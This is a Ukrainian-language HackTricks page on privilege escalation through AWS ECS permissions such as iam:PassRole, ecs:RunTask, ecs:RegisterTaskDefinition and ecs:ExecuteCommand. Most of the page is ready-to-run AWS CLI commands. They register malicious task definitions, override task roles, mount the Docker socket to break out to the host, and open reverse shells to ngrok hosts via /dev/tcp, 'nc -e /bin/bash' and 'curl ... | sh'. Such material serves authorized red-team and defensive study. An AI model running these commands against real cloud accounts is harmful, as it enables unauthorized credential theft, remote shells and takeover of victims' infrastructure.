AWS - ECS Privesc

Reading time: 10 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

ECS

Більше інформації про ECS в:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Зловмисник, який зловживає дозволами iam:PassRole, ecs:RegisterTaskDefinition та ecs:RunTask в ECS, може створити новий task definition зі шкідливим контейнером, який викрадає облікові дані метаданих та запустити його.

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Потенційний вплив: Direct privesc до іншої ролі ECS.

iam:PassRole,ecs:RunTask

Атакувач, який має дозволи iam:PassRole та ecs:RunTask, може запустити нове завдання ECS з модифікованими значеннями execution role, task role та command контейнера. Команда CLI ecs run-task містить прапорець --overrides, який дозволяє під час виконання змінювати executionRoleArn, taskRoleArn та command контейнера без змін у task definition.

Вказані IAM ролі для taskRoleArn та executionRoleArn у своїй політиці довіри повинні дозволяти, щоб їх приймав сервіс ecs-tasks.amazonaws.com.

Також, атакувач повинен знати:

  • назву кластера ECS
  • VPC Subnet
  • Security group (Якщо не вказано, буде використано групу за замовчуванням)
  • назву Task Definition та ревізію
  • назву Container
bash
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

У наведеному вище фрагменті коду атакуючий перезаписує лише значення taskRoleArn. Однак для виконання атаки атакуючий повинен мати дозвіл iam:PassRole на taskRoleArn, вказаний у команді, та на executionRoleArn, вказаний у визначенні завдання.

Якщо роль IAM, яку атакуючий може передати, має достатні привілеї для завантаження образу з ECR і запуску ECS-завдання (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer,ecr:BatchGetImage,ecr:GetAuthorizationToken), то атакуючий може вказати одну й ту саму роль IAM як для executionRoleArn, так і для taskRoleArn у команді ecs run-task.

sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Potential Impact: Прямий privesc до будь-якої ECS task role.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Як і в попередньому прикладі, атакуючий, який зловживає правами iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask в ECS, може згенерувати новий task definition з malicious container, який краде metadata credentials і запустити його.
Однак у цьому випадку потрібен container instance, щоб запустити зловмисний task definition.

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Потенційний вплив: Прямий privesc на будь-яку роль ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Як і в попередньому прикладі, attacker, який зловживає правами iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService або ecs:CreateService в ECS, може згенерувати новий task definition з шкідливим контейнером, який викрадає metadata credentials, і запустити його, створивши новий service з принаймні 1 запущеним task.

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Потенційний вплив: Прямий privesc до будь-якої ролі ECS.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

Насправді, лише з цими дозволами можна використовувати overrides, щоб виконати довільні команди в контейнері з довільною роллю за допомогою чогось на кшталт:

bash
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Потенційний вплив: Прямий privesc до будь-якої ролі ECS.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Цей сценарій схожий на попередні, але без дозволу iam:PassRole.
Це все ще цікаво, тому що, якщо ви можете запустити довільний контейнер, навіть якщо він без ролі, ви могли б запустити привілейований контейнер, щоб вийти на вузол і вкрасти EC2 IAM роль та ролі інших контейнерів ECS, що працюють на вузлі.
Ви навіть можете змусити інші таски запускатися всередині EC2 інстансу, який ви скомпрометували, щоб вкрасти їхні облікові дані (як обговорено в розділі Privesc to node section).

warning

Ця атака можлива тільки якщо ECS cluster використовує EC2 інстанси, а не Fargate.

bash
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Зловмисник з правами ecs:ExecuteCommand, ecs:DescribeTasks може виконувати команди всередині запущеного контейнера та ексфільтрувати прикріплену до нього роль IAM (потрібні права describe, оскільки для запуску aws ecs execute-command вони необхідні).
Однак для цього інстанс контейнера має працювати з ExecuteCommand agent (за замовчуванням це не так).

Отже, зловмисник може спробувати:

  • Спробувати виконати команду в кожному запущеному контейнері
bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • Якщо у нього є ecs:RunTask, запустіть завдання за допомогою aws ecs run-task --enable-execute-command [...]
  • Якщо у нього є ecs:StartTask, запустіть завдання за допомогою aws ecs start-task --enable-execute-command [...]
  • Якщо у нього є ecs:CreateService, створіть сервіс за допомогою aws ecs create-service --enable-execute-command [...]
  • Якщо у нього є ecs:UpdateService, оновіть сервіс за допомогою aws ecs update-service --enable-execute-command [...]

Ви можете знайти приклади цих опцій в попередніх розділах ECS privesc.

Потенційний вплив: Privesc до іншої ролі, прив’язаної до контейнерів.

ssm:StartSession

Перегляньте ssm privesc page, щоб дізнатися, як можна зловживати цим дозволом для privesc to ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Перегляньте ec2 privesc page, щоб дізнатися, як можна зловживати цими дозволами для privesc to ECS:

AWS - EC2 Privesc

ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole

Атакувальник з цими дозволами може потенційно зареєструвати EC2 інстанс в ECS кластері та запускати на ньому таски. Це може дозволити виконувати довільний код в контексті ECS tasks.

  • TODO: Чи можливо зареєструвати інстанс з іншого AWS акаунта, щоб таски виконувались на машинах, контрольованих атакуючим??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

note

TODO: Протестувати це

Атакувальник з дозволами ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet та ecs:DescribeTaskSets може створити шкідливий task set для існуючого ECS service та оновити primary task set. Це дозволяє атакувальнику виконувати довільний код в межах сервісу.

bash
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Потенційний вплив: Виконання довільного коду у постраждалій службі, що може вплинути на її функціональність або призвести до несанкціонованої ексфільтрації конфіденційних даних.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks